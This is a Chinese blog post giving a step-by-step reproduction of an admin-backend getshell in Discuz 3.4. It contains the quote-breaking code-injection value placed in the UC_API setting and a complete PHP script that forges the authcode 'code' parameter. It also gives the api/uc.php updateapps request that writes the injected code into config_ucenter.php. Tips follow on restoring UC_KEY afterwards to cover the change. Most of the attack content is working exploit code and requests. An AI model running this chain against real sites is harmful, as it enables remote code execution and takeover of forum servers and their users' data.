1. 程式人生 > 實用技巧 >discuz3.4後臺getshell的復現

discuz3.4後臺getshell的復現

  1. 進入後臺站長-Ucenter設定,設定UC_KEY=隨意(一定要記住,後面要用),來閉合 http://127.0.0.1/discuz34/uc_server');phpinfo();//
  2. 成功寫進配置檔案,這裡單引號被轉移了,我們接下來使用UC_KEY(dz)去呼叫api/uc.php中的updateapps函式更新UC_API。
  3. 利用UC_KEY(dz) 生成code引數
  4. <?php
    $uc_key="123456";//
    $time = time() + 720000;
    $str = "time=".$time."&action=updateapps";
    $code = authcode($str,"ENCODE",$uc_key);
    $code = str_replace('+','%2b',$code);
    $code = str_replace('/','%2f',$code);
    echo $code;
    
    function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
      $ckey_length = 4;
      $key = md5($key != '' ? $key : '123456');
      $keya = md5(substr($key, 0, 16));
      $keyb = md5(substr($key, 16, 16));
      $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    
      $cryptkey = $keya.md5($keya.$keyc);
      $key_length = strlen($cryptkey);
    
      $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
      $string_length = strlen($string);
    
      $result = '';
      $box = range(0, 255);
    
      $rndkey = array();
      for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
      }
    
      for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
      }
    
      for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
      }
    
      if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
          return substr($result, 26);
        } else {
          return '';
        }
      } else {
        return $keyc.str_replace('=', '', base64_encode($result));
      }
    }
    ?>
    

     將生成的資料帶入GET請求中的code 引數,傳送資料包 成功會返回數字1

  5. http://www.xxoo.com/api/uc.php?code=421aiXku68FseYI3%2fzdLwhNb5sXfCJrQra2e12VOdLJfMW727bAibIFF0wBszPclV1ObACJPYVCmRCAbZOU
  6. <?xml version="1.0" encoding="ISO-8859-1"?>
    <root>
    <item id="UC_API">http://127.0.0.1/discuz34/uc_server</item>
    </root>
    
  7. 訪問http://127.0.0.1/discuz34/config/config_ucenter.php程式碼執行成功
  8. 到此成功GetWebShell,在這個過程中,有一點需要注意的是,我們修改了程式原有的UC_KEY(dz),成功GetWebShell以後一定要修復,有2中方法:

    1. 從資料庫中讀取authkey(uc_server),通過UC_MYKEY解密獲得UC_KEY(dz),當然有可能authkey(uc_server)就是UC_KEY(dz)。
    2. 直接進入Ucenter後臺修改UC_KEY,修改成我們GetWebShell過程中所設定的值。
    3. 這裡要注意的是單引號插入會插壞
    4. 最新版中已經有修復了